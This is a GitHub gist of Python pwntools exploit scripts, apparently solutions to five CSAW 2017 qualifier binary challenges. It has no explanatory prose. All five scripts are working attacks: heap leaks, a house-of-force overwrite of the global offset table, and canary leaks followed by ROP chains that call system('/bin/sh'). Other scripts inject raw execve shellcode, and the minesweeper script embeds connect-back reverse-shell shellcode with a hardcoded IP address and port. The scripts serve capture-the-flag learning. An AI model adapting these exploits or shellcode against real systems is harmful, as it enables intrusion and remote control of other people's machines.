Created
September 17, 2017 20:32
-
-
Save m1ghtym0/9ce7ef3e84bd3081f091a6b7a8e11d8a to your computer and use it in GitHub Desktop.
CSAW 2017 Quals Pwnable Solutions
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
BINARY = "./auir" | |
LIBC = './libc-2.23.so' | |
LOCAL_LIBC = '/usr/lib/libc.so.6' | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='amd64', bits=64) | |
#context.log_level = 'debug' | |
buf_addr = 0x605310 | |
def read_menu(r): | |
r.recvuntil('>>') | |
def create(r, size, val): | |
r.sendline('1') | |
read_menu(r) | |
r.sendline(str(size)) | |
read_menu(r) | |
r.sendline(val) | |
read_menu(r) | |
def create_pwn(r, size): | |
r.sendline('1') | |
read_menu(r) | |
r.sendline(str(size)) | |
read_menu(r) | |
def destroy(r, idx): | |
r.sendline('2') | |
read_menu(r) | |
r.sendline(str(idx)) | |
read_menu(r) | |
def destroy_pwn(r, idx): | |
r.sendline('2') | |
read_menu(r) | |
r.sendline(str(idx)) | |
def fix(r, idx, size, val): | |
r.sendline('3') | |
read_menu(r) | |
r.sendline(str(idx)) | |
read_menu(r) | |
r.sendline(str(size)) | |
read_menu(r) | |
r.sendline(val) | |
read_menu(r) | |
def show(r, idx, length): | |
r.sendline('4') | |
read_menu(r) | |
r.sendline(str(idx)) | |
r.recvline() | |
ret = r.recv(length) | |
read_menu(r) | |
return ret | |
def leak_addr(r, addr): | |
r.sendline('4') | |
read_menu(r) | |
index = (addr-buf_addr)/8 | |
r.sendline(str(index)) | |
r.recvline() | |
val = u64(r.recv(8)) | |
r.clean() | |
return val | |
def exploit(r, elf, libc, local): | |
read_menu(r) | |
# leak heap_base | |
create(r, 8, '/bin/sh') | |
index = 0 | |
bin_sh_buf = index | |
create(r, 0x10, p64(elf.got['malloc'])) | |
index += 1 | |
malloc_got_buf = index | |
create(r, 8, 'foo') | |
index += 1 | |
fast0 = index | |
create(r, 8, 'bar') | |
index += 1 | |
fast1 = index | |
destroy(r, fast1) | |
destroy(r, fast0) | |
ret = show(r, fast0, 8) | |
heap_base = u64(ret) - 0x11c70 | |
log.info('Heap-base: {}'.format(hex(heap_base))) | |
# leak libc_base | |
malloc_got = leak_addr(r, heap_base+0x11c40) | |
libc.address = malloc_got - libc.symbols['malloc'] | |
log.info('libc_base: {}'.format(hex(libc.address))) | |
# leak <<< operator | |
create(r, 0x10, p64(0x00605058)) | |
index += 1 | |
leaker = index | |
operator_addr = leak_addr(r, heap_base+0x11c60) | |
log.info('<<<operator: {}'.format(hex(operator_addr))) | |
# leak next_one | |
fix(r, leaker, 0x10, p64(0x00605068)) | |
next_one = leak_addr(r, heap_base+0x11c60) | |
log.info('next_one: {}'.format(hex(next_one))) | |
# leak next_two | |
fix(r, leaker, 0x10, p64(0x00605070)) | |
next_two = leak_addr(r, heap_base+0x11c60) | |
log.info('next_two: {}'.format(hex(next_two))) | |
# leak next_three | |
fix(r, leaker, 0x10, p64(0x00605078)) | |
next_three = leak_addr(r, heap_base+0x11c60) | |
log.info('next_three: {}'.format(hex(next_three))) | |
pause() | |
# house of force | |
create(r, 256, 'foo') | |
index += 1 | |
payload = '' | |
payload += 'A' * 0x108 | |
payload += p64(0xffffffffffffffff) | |
payload += p64(0x0) | |
payload += p64(0x0) | |
fix(r, index, 400, payload) | |
top_chunk = heap_base + 0x11da8 | |
log.info('top_chunk @ {}'.format(hex(top_chunk))) | |
malloc_length = (elf.got['__cxa_atexit']-top_chunk) - 0x10 | |
create_pwn(r, malloc_length) | |
index += 1 | |
payload = '' | |
payload += 'A'*8 # got | |
payload += p64(operator_addr) | |
payload += p64(libc.symbols['system']) # free | |
payload += p64(next_one) | |
payload += p64(next_two) | |
payload += p64(next_three) | |
create(r, 256, payload) | |
index += 1 | |
destroy_pwn(r, bin_sh_buf) | |
r.interactive() | |
if __name__ == "__main__": | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print "Usage: {} local|docker|remote".format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
H,P = ("pwn.chal.csaw.io", 7713) | |
r = remote(H,P) | |
libc = ELF(LIBC) | |
exploit(r, elf, libc, local=False) | |
else: | |
if sys.argv[1] == 'local': | |
r = process(BINARY) | |
libc = ELF(LOCAL_LIBC) | |
else: | |
r = process(BINARY, env = {"LD_PRELOAD" : LIBC}) | |
libc = ELF(LIBC) | |
print "PID: {}".format(util.proc.pidof(r)) | |
pause() | |
exploit(r, elf, libc, local=True) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
""" | |
Unpack the binary with upx -d | |
""" | |
BINARY = "./minesweeper" | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='i386', bits=32) | |
#context.log_level = 'debug' | |
# connect-back shell | IP | | Port | | |
shell_code = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x83\xbc\x1e\x41\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | |
def read_menu(r): | |
r.recvuntil('(Quit)\n') | |
def init(r, val, content): | |
r.sendline('I') | |
r.recvline() | |
r.sendline(val) | |
r.recvuntil('by the character X\n') | |
r.sendline(content) | |
def mal_unlink(what, where): | |
payload = '' | |
payload += p32(what) | |
payload += p32(where-4) | |
return payload | |
def shellcode(): | |
shellcode = '' | |
shellcode += '\xeb\x0b' | |
shellcode += '\x90'*11 | |
shellcode += shell_code | |
return shellcode | |
def leak(r): | |
r.sendline('N') | |
r.recvuntil('game (Q)\n') | |
r.sendline('V') | |
r.recvlines(5) | |
r.recvline() # padding | |
r.recvlines(2) # size | |
bwd = r.recvlines(2) # bwd | |
r.sendline('Q') | |
read_menu(r) | |
bwd_ptr = u32(bwd[0]+bwd[1]) | |
return bwd_ptr | |
def exploit(r, elf, libc, local): | |
# leak heap-addr | |
init(r, 'B 2 5', 'X'*10) | |
bwd_ptr = leak(r) | |
heap_base = bwd_ptr & ~0xfff | |
target_addr = heap_base | 0x0fc | |
log.info('bwd-ptr {}'.format(hex(bwd_ptr))) | |
log.info('target_addr {}'.format(hex(target_addr))) | |
pause() | |
# overflow chunk | |
payload = '' | |
payload += shellcode() | |
payload = payload.ljust(0xcc, 'X') # 0x414-0x024 | |
payload += p32(0x12) | |
payload += mal_unlink(what=target_addr, where=elf.got['fwrite']) | |
payload = payload.ljust(0x130, 'A') | |
init(r, 'B 3 101', payload) | |
# trigger shellcode | |
log.info('Connects back to IP:PORT specified in shell-code') | |
log.success('BUMMMOOO!') | |
pause() | |
if __name__ == "__main__": | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print "Usage: {} local|docker|remote".format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
H,P = ("pwn.chal.csaw.io", 7478) | |
r = remote(H,P) | |
libc = None | |
exploit(r, elf, libc, local=False) | |
else: | |
if sys.argv[1] == 'local': | |
p = process(BINARY) | |
print "PID: {}".format(util.proc.pidof(p)) | |
pause() | |
r = remote('localhost', 31337) | |
libc = None | |
else: | |
r = process(BINARY, env = {"LD_PRELOAD" : LIBC}) | |
libc = None | |
exploit(r, elf, libc, local=True) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
BINARY = "./true" | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='amd64', bits=64) | |
#context.log_level = 'debug' | |
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" | |
add_rsp = "\x48\x83\xC4\x20" | |
def exploit(r, elf, libc, local): | |
r.recvuntil('[*]Location:') | |
buf_addr = int(r.recvline(), 16) | |
log.info('buf @ 0x{0:x}'.format(buf_addr)) | |
r.recvuntil('Command:') | |
payload = '' | |
payload += add_rsp | |
payload += shellcode | |
payload = payload.ljust(0x28, '\x90') | |
payload += p64(buf_addr) | |
r.sendline(payload) | |
r.interactive() | |
if __name__ == "__main__": | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print "Usage: {} local|docker|remote".format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
H,P = ("pwn.chal.csaw.io", 8464) | |
r = remote(H,P) | |
#libc = ELF(LIBC) | |
libc = None | |
exploit(r, elf, libc, local=False) | |
else: | |
if sys.argv[1] == 'local': | |
r = process(BINARY) | |
libc = ELF(LOCAL_LIBC) | |
else: | |
r = process(BINARY, env = {"LD_PRELOAD" : LIBC}) | |
libc = ELF(LIBC) | |
print "PID: {}".format(util.proc.pidof(r)) | |
pause() | |
exploit(r, elf, libc, local=True) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
from time import time | |
BINARY = "./scv" | |
LIBC = './libc-2.23.so' | |
LOCAL_LIBC = '/usr/lib/libc.so.6' | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='amd64', bits=64) | |
#context.log_level = 'debug' | |
libc_ret_remote = 0x20830 | |
libc_ret_local = 0x204ca | |
pop_rdi = 0x400ea3 | |
pop_2_rsi = 0x400ea1 | |
def read_menu(r): | |
r.recvuntil('>>') | |
def exploit(r, elf, libc, local): | |
buf_index = 0xb0 | |
canary_index = 0x8 | |
# get canary | |
read_menu(r) | |
r.sendline('1') | |
read_menu(r) | |
r.sendline('A'*(buf_index-canary_index-1)+'>') | |
read_menu(r) | |
r.sendline('2') | |
r.recvuntil('>') | |
canary = u64(r.recv(8)) | |
canary &= 0xffffffffffffff00 | |
log.info('Canary: {}'.format(hex(canary))) | |
read_menu(r) | |
# get libc | |
r.sendline('1') | |
read_menu(r) | |
payload = '' | |
payload += 'A'*(buf_index-canary_index) | |
payload += 'C'*8 | |
payload += 'B'*6 | |
payload += '>' | |
r.sendline(payload) | |
read_menu(r) | |
r.sendline('2') | |
r.recvuntil('>') | |
r.recvline() | |
libc_start = u64(r.recv(6).ljust(8, '\0')) | |
log.info('libc_start_main_ret: {}'.format(hex(libc_start))) | |
read_menu(r) | |
# exploit | |
if local: | |
libc.address = libc_start - libc_ret_local | |
else: | |
libc.address = libc_start - libc_ret_remote | |
log.info('libc base @ {}'.format(hex(libc.address))) | |
r.sendline('1') | |
read_menu(r) | |
payload = '' | |
payload += 'A'*(buf_index-canary_index) | |
payload += p64(canary) | |
payload += 'B'*8 | |
payload += p64(pop_rdi) | |
payload += p64(next(libc.search('/bin/sh'))) | |
payload += p64(pop_2_rsi) | |
payload += p64(0x0) | |
payload += p64(0x0) | |
payload += p64(libc.symbols['system']) | |
r.sendline(payload) | |
read_menu(r) | |
r.sendline('3') | |
#log.info('libc_start_main: {}'.format(hex(libc_start))) | |
r.interactive() | |
if __name__ == "__main__": | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print "Usage: {} local|docker|remote".format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
H,P = ("pwn.chal.csaw.io", 3764) | |
r = remote(H,P) | |
libc = ELF(LIBC) | |
exploit(r, elf, libc, local=False) | |
else: | |
if sys.argv[1] == 'local': | |
r = process(BINARY) | |
libc = ELF(LOCAL_LIBC) | |
else: | |
r = process(BINARY, env = {"LD_PRELOAD" : LIBC}) | |
libc = ELF(LIBC) | |
print "PID: {}".format(util.proc.pidof(r)) | |
pause() | |
exploit(r, elf, libc, local=True) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
BINARY = "./zone" | |
LIBC = './libc-2.23.so' | |
LOCAL_LIBC = '/usr/lib/libc.so.6' | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='amd64', bits=64) | |
#context.log_level = 'debug' | |
local_libc_main = 0x204ca | |
remote_libc_main = 0x20830 | |
def read_menu(r): | |
r.recvuntil('Exit\n') | |
def allocate(r, size): | |
read_menu(r) | |
r.sendline('1') | |
r.sendline(str(size)) | |
def delete(r): | |
read_menu(r) | |
r.sendline('2') | |
def write_last(r, content): | |
read_menu(r) | |
r.sendline('3') | |
r.sendline(content) | |
def print_last(r): | |
read_menu(r) | |
r.sendline('4') | |
ret = r.recv(6).ljust(8, '\0') | |
return ret | |
def exploit(r, elf, libc, local): | |
line = r.recvline().split(': ')[1] | |
env_ptr = int(line, 16) | |
log.info('Environment: {}'.format(hex(env_ptr))) | |
# setup heap | |
# free-list: a->b->c | |
# allocate a | |
allocate(r, 0x40) | |
# free-list: b->c | |
# overflow a->b: set b->size=0x80 | |
payload = '' | |
payload += 'A'*0x40 | |
payload += '\x80' | |
write_last(r, payload) | |
# allocate b | |
allocate(r, 0x40) | |
# free-list: c | |
# delete b | |
delete(r) | |
# allocate b again with size 0x80 | |
allocate(r, 0x80) | |
# overflow b->c: set c->next=env | |
payload = '' | |
payload += 'B'*0x40 | |
payload += p64(0x40) | |
payload += p64(env_ptr+0x88-0x10) | |
write_last(r, payload) | |
# free-list: c->env | |
# allocate c | |
allocate(r, 0x40) | |
# free-list: env | |
# allocate env | |
allocate(r, 0x40) | |
# get libc_ret | |
ret = print_last(r) | |
libc_main = u64(ret) | |
if local: | |
libc.address = libc_main - local_libc_main | |
else: | |
libc.address = libc_main - remote_libc_main | |
# write rop-chain | |
log.info('libc-base: {}'.format(hex(libc.address))) | |
# build ropchain | |
#0x0000000000404653 : pop rdi ; ret | |
pop_rdi = 0x0404653 | |
rop = '' | |
rop += p64(pop_rdi) | |
rop += p64(next(libc.search('/bin/sh'))) | |
rop += p64(libc.symbols['system']) | |
write_last(r, rop) | |
# pop the shell | |
r.sendline('5') | |
log.success('BUUUMMOO!') | |
# build rop-chain | |
r.interactive() | |
if __name__ == "__main__": | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print "Usage: {} local|docker|remote".format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
H,P = ("pwn.chal.csaw.io", 5223) | |
r = remote(H,P) | |
libc = ELF(LIBC) | |
exploit(r, elf, libc, local=False) | |
else: | |
if sys.argv[1] == 'local': | |
r = process(BINARY) | |
libc = ELF(LOCAL_LIBC) | |
else: | |
r = process(BINARY, env = {"LD_PRELOAD" : LIBC}) | |
libc = ELF(LIBC) | |
print "PID: {}".format(util.proc.pidof(r)) | |
pause() | |
exploit(r, elf, libc, local=True) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment